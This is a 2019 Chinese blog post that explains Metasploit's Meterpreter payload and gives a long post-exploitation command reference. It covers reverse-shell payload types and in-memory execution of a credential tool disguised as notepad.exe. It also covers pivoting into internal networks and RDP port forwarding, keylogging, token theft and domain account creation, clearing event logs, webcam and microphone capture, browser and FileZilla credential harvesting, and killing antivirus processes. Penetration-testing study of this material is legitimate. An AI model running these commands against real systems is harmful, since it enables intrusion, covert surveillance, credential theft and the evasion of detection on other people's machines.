Metasploit中的Meterpreter详解 - JunMo博客

JunMo的博客

2019
记录生活
首页 » KALI » Metasploit中的Meterpreter详解

Metasploit中的Meterpreter详解

0x01什么是Meterpreter

  Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

  最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。

 需要说明的meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况

0x02Meterpreter技术优势

  Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。

0x03 Meterpreter中常用的反弹类型

1.reverse_tcp

这是一个基于TCP的反向链接反弹shell, 使用起来很稳定

2.reverse_http

基于http方式的反向连接,在网速慢的情况下不稳定。

payload:/windows/meterpreter/reverse_http

3.reverse_https

基于https方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成443试试

payload:/windows/meterpreter/reverse_https

4.bind_tcp

这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。

0x04 Meterpreter的常用命令

1.基本命令

help# 查看Meterpreter帮助

 

background#返回,把meterpreter后台挂起

bgkill# 杀死一个背景 meterpreter 脚本

bglist#提供所有正在运行的后台脚本的列表

bgrun#作为一个后台线程运行脚本

 

channel#显示活动频道

sessions -i 数字 # 与会话进行交互

sesssions -k  数字 #与会话进行交互

 

close# 关闭通道

exit# 终止 meterpreter 会话

quit# 终止 meterpreter 会话

interact id #切换进一个信道

 

run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等

irb# 进入 Ruby 脚本模式

read# 从通道读取数据

write# 将数据写入到一个通道

 

run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本

use# 加载 meterpreter 的扩展

load/use#加载模块

Resource#执行一个已有的rc脚本

2.文件系统命令

cat c:\test.txt#查看文件内容,文件必须存在

del c:\test.txt #删除指定的文件

upload 本机位置 目标机位置 #上传文件到目标机主上如: upload /root/test.exe C:/Windows

download 目标机文件位置 下载后保存的位置  # 下载文件到本机上如: download C:/Test.txt /root/123.txt

edit c:\Test.txt  # 编辑文件

getlwd#打印本地目录

getwd#打印工作目录

lcd#更改本地目录

ls#列出在当前目录中的文件列表

lpwd#打印本地目录

pwd#输出工作目录

cd c:\\ #进入目录文件下

rm file #删除文件

mkdir dier #在受害者系统上的创建目录

rmdir#受害者系统上删除目录

dir#列出目标主机的文件和文件夹信息

mv c:/123.txt c://789.txt #修改目标主机上的文件名

search -d 位置 -f 文件名  #search 文件如: search  -d c:\\  -f *.txt

enumdesktops     #用户登录数

sysinfo 为显示远程主机的系统信息,显示计算机、系统信息、结构、语言等信息。

migrate 进程PID 将当前meterpreter会话从一个进程移植到另外一个进程的内存空间中,

ps 查看进程列表

execute

execute 为目标主机上执行一个命令 -f 为执行要运行的命令

在目标主机上运行某个程序,例如我们使用migrate注入进程到explorer.exe后,运行用户为超级管理administrator

我们运行一下目标主机上的记事本程序

execute  -f notepad.exe

这样太明显,如果希望隐藏后台执行,加参数-H

execute  -H -f notepad.exe

再看一个,我们运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上,这达到的效果就跟使用shell命令一样了

execute  -H -i -f cmd.exe

在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。

execute  -H -m -d notepad.exe -f  wce.exe -a "-o wce.txt"

-d 在目标主机执行时显示的进程名称(用以伪装)

-m 直接从内存中执行

 -o wce.txt是wce.exe的运行参数

 

idletime 显示目标机器截止到当前无操作命令的时间。

 

3.网络命令

ipconfig #显示网络接口的关键信息,包括 IP 地址

 

portfwd

portfwd -h

用法:portfwd [-h] [add | delete | list | flush] [args] 网络命令则有列出ip信息(ipconfig),展示修改路由表(route),还有端口转发(portfwd)

选项:

    -L <opt>要监听的本地主机(可选)

    -h帮助横幅

    -l <opt>要监听的本地端口

    -p <opt>连接到的远程端口

    -r <opt>要连接到的远程主机

 

portfwd  add -l 4444 -p 3389 -r 目标ip # 端口转发,本机监听4444,把目标机3389转到本机4444

netstat -an | grep“4444"  #查看指定端口开放情况

rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使用rdesktop来连接桌面,-u 用户名 -p 密码

rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接

 

 route

route#查看或修改受害者路由表

route add 192.168.1.0 255.255.255.0 1 #添加动态路由

route print #路由表输出

runget_local_subnets #目标主机的内网IP段情况

Arp       #看ARP缓冲表

Getproxy     #获取代理

使用route命令可以借助meterpreter会话进一步msf渗透内网,我们已经拿下并产生meterpreter反弹会话的主机可能出于内网之中,外有一层NAT,我们无法直接向其内网中其他主机发起攻击,则可以借助已产生的meterpreter会话作为路由跳板,攻击内网其它主机。

大多时候我们获取到的meterpreter shell处于内网,而我们需要代理到目标内网环境中,扫描其内网服务器。这时可以使用route功能,添加一条通向目标服务器内网的路由。

查看shell网络环境:

meterpreter>run get_local_subnets

添加一条通向目标服务器内网的路由

meterpreter>run autoroute -s 100.0.0.0/8   #(根据目标内网网络而定)

查看路由设置:

meterpreter>run autoroute –p

一般来说,在meterpreter中设置路由便可以达到通往其内网的目的。然而有些时候还是会失败,这时我们可以background返回msf>,查看下外面的路由情况。

route print

如果发现没有路由信息,说明meterpreter shell设置的路由并没有生效,我们可以在msf中添加路由。

msf>route add 10.0.0.0 255.0.0.0 1

说明:1表示session 1,攻击机如果要去访问10.0.0.0/8网段的资源,其下一跳是session1,至于什么是下一条这里不多说了,反正就是目前攻击机可以访问内网资源了。

 

4.键盘监听

keyscan_start:开启键盘记录功能

keyscan_dump:显示捕捉到的键盘记录信息

keyscan_stop:停止键盘记录功能

uictl disable keyboard 让键盘失效
uictl enable keyboard 恢复键盘

 

5.系统命令

reboot#重新启动受害人的计算机

reg#与受害人的注册表进行交互

rev2self#回到控制目标主机的初始用户账户下

shell#获得控制台权限

shutdown#关闭了受害者的计算机

 

6.网络嗅探

Metasploit包含sniffer脚本。Meterpreter的这个模块可以用来做数据包捕获,不需要在远程机器上安装任何软件

use sniffer # 加载嗅探模块

sniffer_interfaces #列出目标主机所有开放的网络接口

sniffer_start ID #获取正在实施嗅探网络接口的统计数据

sniffer_dump ID 保存的文件位置 #保存抓取的数据包

 

7.获取敏感信息

run post/windows/gather/checkvm #是否虚拟机

run post/windows/gather/enum_applications #获取安装软件信息

run post/windows/gather/dumplinks   #获取最近的文件操作

run post/windows/gather/enum_ie  #获取IE缓存

run post/windows/gather/enum_chrome   #获取Chrome缓存

run scraper #获取常见信息

 

 8.捕捉屏幕

可以使用“screenshot”命令来进行屏幕截图并存储在我们的系统之中。

 

9.得到远程桌面

使用命令“run vnc”将会弹出窗口,在此窗口中就是对方现在打开的桌面情况,在这里,可以对远程机器进行操控

 

10.权限提升

使用“getuid”获得当前的权限,migrate+PID迁移进程(当我们攻击一个系统是,常常是对像是IE之类的服务漏洞进行利用的,可是不免有对方关闭IE的情况,那么我们的meterpreter会话将会关闭,从而导致与目标系统失去连接,

kill pid # 杀死进程

getprivs#尽可能获取尽可能多的特权

getuid #获得当前的权限

getsystem #通过各种攻击向量将一个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户

getsystem –h #升级权限SYSTEM账户

 

 11.盗取令牌

meterpreter >use incognito    加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)

meterpreter >list_tokens -u    列出目标主机用户的可用令牌

meterpreter >list_tokens -g    列出目标主机用户组的可用令牌

meterpreter >impersonate_token DOMAIN_NAME\\USERNAME    假冒目标主机上的可用令牌,如meterpreter > impersonate_token QLWEB\\Administrato

meterpreter >execute -f cmd.exe -i -t #调用域权限shell

meterpreter > getuid

meterpreter>add_user 0xfa funny –h192.168.3.98  #在域控主机上添加账户

meterpreter>reg command   # 在目标主机注册表中进行交互,创建,删除,查询等操作

meterpreter>setdesktop number   #切换到另一个用户界面(该功能基于哪些用户已登录)

meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID

meterpreter>steal_token pid #盗窃给定进行的可用令牌并进行令牌假冒

meterpreter>drop_token pid #停止假冒当前令牌

 

另一个提权的方法是扮演一个帐户从一个特定进程偷取令牌。为此,我们需要“incognito”扩展,使用“steal_token+PID”这个例子中我们使用的是steal_token 640,其中由前面执行ps后得到的信息可知,PID为640的权限为administrator,所以我们在执行命令后虽然提示错误信息,但是它仍会被成功在后台执行,所以在运行steal_token后核实UID,我们的权限就变为了administrator了。

 

load incognito 加载插件

list_tokens -u 列出当前用户token

impersonate_token xxxxx\\xxxxxxx 伪装成域用户

execute -f cmd.exe -i -t 调用域权限shell

 

12.清除事件日志

“clearev”命令,将清除事件日志。这个命令没有任何选项或参数。

 

13.网络摄像头

record_mic    #音频录制

webcam_chat   #查看摄像头接口

webcam_list   #查看摄像头列表

webcam_stream  #开启摄像头

record_mic -d 10 音频录制 录制10秒

webcam_snap”命令为抓取目标主机当前的摄像头拍摄到的画面,并将它以图片形式保存到本地

 

14.创建账号

getgui——getgui ,为添加用户的命令,首先用“run getgui -h”查看脚本getgui的帮助信息

run  getgui-e #开启远程桌面

run  getgui -u sername -p password #添加账号

0x05 常见脚本

我们可以通过run 脚本名来进行使用

run 脚本名 -h可以查看帮助

 

1.arp_scanner

利用arp进行存活主机扫描

run arp_scanner -r 192.168.1.0/24

 

2.autoroute

可以添加,删除,显示路由表

 

3.checkvm

可以检测目标是否是虚拟机

 

4.credcollect

收集目标主机上的hash等凭证

 

5.domain_list_gen

获取域管理账户列表,并判断当前session所在用户是否在列表中

 

6.dumplinks

Link文件包含时间戳,文件位置,共享名,卷序列号,等。脚本会在用户目录和office目录中收集lnk文件

调用post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息

命令:run post/windows/gather/dumplinks


7.duplicate

再次产生payload,注入到其他进程或打开新进程并注入其中

 

8.enum_chrome

获取chrome中的信息

 

9.enum_firefox

获取firefox中的信息,包括cooikie,历史纪录,书签等

 

10.enum_logged_on_users

列出当前登录的用户

 

11.enum_powershell_env

列出powershell和WSH的配置文件

 

12.enum_putty

列出putty的配置文件

 

13.enum_shares

列出共享及历史共享

 

14.enum_vmware

列出vmware的配置文件和产品

 

15.event_manager

可以查询和清理事件日志

 

16.file_collector

搜索符合指定模式的文件

 

17.get_application_list

获取安装的程序列表及版本

 

18.getcountermeasure

列出HIPS 和 AV 的进程,显示XP 防火墙规则, 并且显示 DEP和UAC 策略

Ps:-k参数可以杀掉防护软件进程

 

19.get_env

获取所有用户的环境变量

 

20.get_filezilla_creds

获取filezilla的登陆凭证

文章如无特别注明均为原创!
本文作者: JunMo
转载或复制请带上本文地址 http://mo60.cn/post-49.html
并注明出处 JunMo博客
原文地址《 Metasploit中的Meterpreter详解
发布于2019-7-29
收录状态: [百度已收录][360未收录]

分享到:


打赏

评论

游客

看不清楚?点图切换

切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册